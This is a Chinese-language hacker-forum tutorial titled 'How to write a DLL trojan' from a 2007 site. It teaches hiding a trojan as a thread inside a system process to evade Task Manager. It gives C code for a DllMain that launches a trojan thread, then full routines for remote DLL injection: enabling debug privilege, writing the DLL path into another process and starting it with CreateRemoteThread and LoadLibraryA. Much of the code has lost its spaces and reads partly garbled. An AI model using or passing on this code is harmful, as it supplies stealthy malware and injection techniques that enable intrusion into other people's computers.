文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 技术文摘 >> 网络编程 >> Delphi编程 >> 文章内容  
 

 
DLL木马的写法

www.hx99.org 阅读: 时间:2007-07-09 整理:华西黑盟
------------------------------------------------------------------
 

木马运行关键是隐藏,神不知鬼不觉才是王道.要隐藏,先要隐藏进程,Windows操作系统中程序以进程的
方式运行,大多数操作系统也是如此.任务管理器就可以看到当前运行的进程,所以有人HOOK相关枚举进程的函
数,让任务管理器不显示木马进程,也有人把自己的木马注册成服务运行,"任务管理器"不显示服务的.这样做只
是障眼法,进程还是存在的,最好的方法是让进程不存在,让木马作为其他进程的一个线程来运行.Windows操
作系统提出了DLL的概念,其系统API都是通过DLL的形式出现的,应用程序动态链接到DLL来调用API,DLL在
内存中只存在一个副本就可以满足不同应用程序的调用了,因此可以把木马写成DLL文件,让他作为进程的一部
分运行,最好是系统进程的一部分,一般人很难看到一个进程加载了哪些DLL,也就很难发现这种木马(用
IceSword可以看到进程的DLL模块).

一编写一个DLL木马:

使用IDE:VisualC++6.0VisualStudio.NET2003/2005都可以.

首先建立一个Win32Dynamic-LinkLibrary工程.选择AsimpleDLLproject建立工程,然后就会看到:

BOOLAPIENTRYDllMain(HANDLEhModule,//模块句柄.
DWORDul_reason_for_call,//调用标志.
LPVOIDlpReserved//返回数据.
)
{
returnTRUE;
}

这个是DLL的入口点函数,只能做一些简单的初始化工作.这个函数和WinMainwWinMain_tWinMainmain这四个标准的入口点函数是完全不同的,DllMain会被多次调用,上述四个入口点只被系统调用一次.顺便说一句dll文件结构和exe文件是完全一致的.

DWORDul_reason_for_call,//调用标志.

这个参数由系统传递,用于判断调用DllMain函数时候的状态.可能是以下四个常量:

DLL_PROCESS_ATTACH:DLL被进程第一次使用时,就是进程调用LoadLibrary函数时

DLL_THREAD_ATTACH:

DLL_THREAD_DETACH:

DLL_PROCESS_DETACH:DLL被释放的时候

MSDN原文:

DLL_PROCESS_ATTACH
TheDLLisbeingloadedintothevirtualaddressspaceofthecurrentprocessasaresultoftheprocessstartinguporasaresultofacalltoLoadLibrary.DLLscanusethisopportunitytoinitializeanyinstancedataortousetheTlsAllocfunctiontoallocateathreadlocalstorage(TLS)index.

DLL_THREAD_ATTACH
Thecurrentprocessiscreatinganewthread.Whenthisoccurs,thesystemcallstheentry-pointfunctionofallDLLscurrentlyattachedtotheprocess.Thecallismadeinthecontextofthenewthread.DLLscanusethisopportunitytoinitializeaTLSslotforthethread.AthreadcallingtheDLLentry-pointfunctionwithDLL_PROCESS_ATTACHdoesnotcalltheDLLentry-pointfunctionwithDLL_THREAD_ATTACH.
NotethataDLL'sentry-pointfunctioniscalledwiththisvalueonlybythreadscreatedaftertheDLLisloadedbytheprocess.WhenaDLLisloadedusingLoadLibrary,existingthreadsdonotcalltheentry-pointfunctionofthenewlyloadedDLL.

DLL_THREAD_DETACH
Athreadisexitingcleanly.IftheDLLhasstoredapointertoallocatedmemoryinaTLSslot,itshouldusethisopportunitytofreethememory.Thesystemcallstheentry-pointfunctionofallcurrentlyloadedDLLswiththisvalue.Thecallismadeinthecontextoftheexitingthread.

DLL_PROCESS_DETACH
TheDLLisbeingunloadedfromthevirtualaddressspaceofthecallingprocessasaresultofunsuccessfullyloadingtheDLL,terminationoftheprocess,oracalltoFreeLibrary.TheDLLcanusethisopportunitytocalltheTlsFreefunctiontofreeanyTLSindicesallocatedbyusingTlsAllocandtofreeanythreadlocaldata.
NotethatthethreadthatreceivestheDLL_PROCESS_DETACHnotificationisnotnecessarilythesamethreadthatreceivedtheDLL_PROCESS_ATTACHnotification.

判断:当ul_reason_for_call等于DLL_PROCESS_ATTACH时就新开一个线程启动木马.记住一定要新开一个线程,不能把DllMain当main函数用.

BOOLAPIENTRYDllMain(HANDLEhModule,
DWORDul_reason_for_call,
LPVOIDlpReserved
)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
//启动木马线程.
CreateThread(NULL,0,MainThread,0,0,0);
break;

caseDLL_THREAD_ATTACH:
break;

caseDLL_THREAD_DETACH:
break;

caseDLL_PROCESS_DETACH:
break;
}
returnTRUE;
}

DWORDWINAPIMainThread(LPVOIDlpParameter)
{
//这里就是木马的代码了
......
}

二DLL木马的启动:

远程进程插入启动木马:将木马DLL插入运行中的进程空间中,让其运行.

具体做法是先将系统权限提升到DEBUG模式下,因为只有DEBUG模式才能打开进程句柄.然后用OpenProcess函数远程以PROCESS_Create_THREAD,PROCESS_VM_OPERATION,PROCESS_VM_WRITE
的权限打开要插入的进程,得到进程的句柄.用VirtualAllocEx函数给DLL文件的路径分配内存空间.
用WriteProcessMemory函数将DLL文件内容写入进程空间中.用CreateRemoteThread函数启动就完成
了进程的远程插入.

代码如下:


////////////////////////////////////////////////////////////////////////
//远程插入线程
//charszDllFullPath[]DLL文件完整路径.
//DWORDdwRemoteProcessID要插入的进程ID号
//返回:TRUE插入进程成功
//FALSE失败
BOOLInjectDll(charszDllFullPath[],DWORDdwRemoteProcessID)
{
HANDLEhRemoteProcess;
if(EnableDebugPriv(SE_DEBUG_NAME)==0)
{
returnFALSE;
}

//打开远程线程
if((hRemoteProcess=OpenProcess(PROCESS_Create_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessID))==NULL)
{
returnFALSE;
}

char*pszLibFileRemote;

//使用VirtualAllocEx函数在远程进程内存地址空间分配DLL文件名缓冲区
pszLibFileRemote=(char*)VirtualAllocEx(hRemoteProcess,NULL,lstrlen(szDllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);
if(pszLibFileRemote==NULL)
{
returnFALSE;
}

if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void*)szDllFullPath,lstrlen(szDllFullPath)+1,NULL)==0)
{
returnFALSE;
}

PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA");
if(pfnStartAddr==NULL)
{
returnFALSE;
}
//通过建立远程连接的地址:pfnStartAddr
//传递参数pszLibFileRemote远程启动DLL
//启动远程线程LoadLibraryA通过远程线程调用用户的DLL文件
HANDLEhRemoteThread;
if((hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL))==NULL)
{
returnFALSE;
}
returnTRUE;
}

这个函数也会用到的:

////////////////////////////////////////////////////////////////////////
//获取进程ID号
//如无此进程则返回0;
//charszProcName[]进程名:.exe文件.
DWORDGetProcID(charszProcName[])
{
HANDLEth=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32pe={sizeof(pe)};
DWORDdwProcID=0;

BOOLbOK=Process32First(th,&pe);
while(bOK)
{
bOK=Process32Next(th,&pe);

LPCTSTRlpszExeFile=strrchr(pe.szExeFile,'//');
if(lpszExeFile==NULL)
lpszExeFile=pe.szExeFile;
else
lpszExeFile++;

if(strcmp(szProcName,lpszExeFile)==0)
{
dwProcID=pe.th32ProcessID;
break;
}
}

returndwProcID;
}

////////////////////////////////////////////////////////////////////////
//提升系统权限到DEBUG模式
intEnableDebugPriv(charszName[])
{
HANDLEhToken;
TOKEN_PRIVILEGEStp;
LUIDluid;

//打开进程环令牌
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
return0;
}

if(!LookupPrivilegeValue(NULL,szName,&luid))
{
return0;
}

tp.PrivilegeCount=1;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid=luid;
//调整权限
if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
return0;
}

return1;
}

   -------------------------------------------------------------------------------------------
  上一篇:没有了
  下一篇:Delphi编写OICQ自动登陆工具
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
DLL木马的写法
Delphi编写OICQ自动登陆工
使用Delphi打造木马
XP/2003下开放3389最简单
用Delphi创建NT/2000账号
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号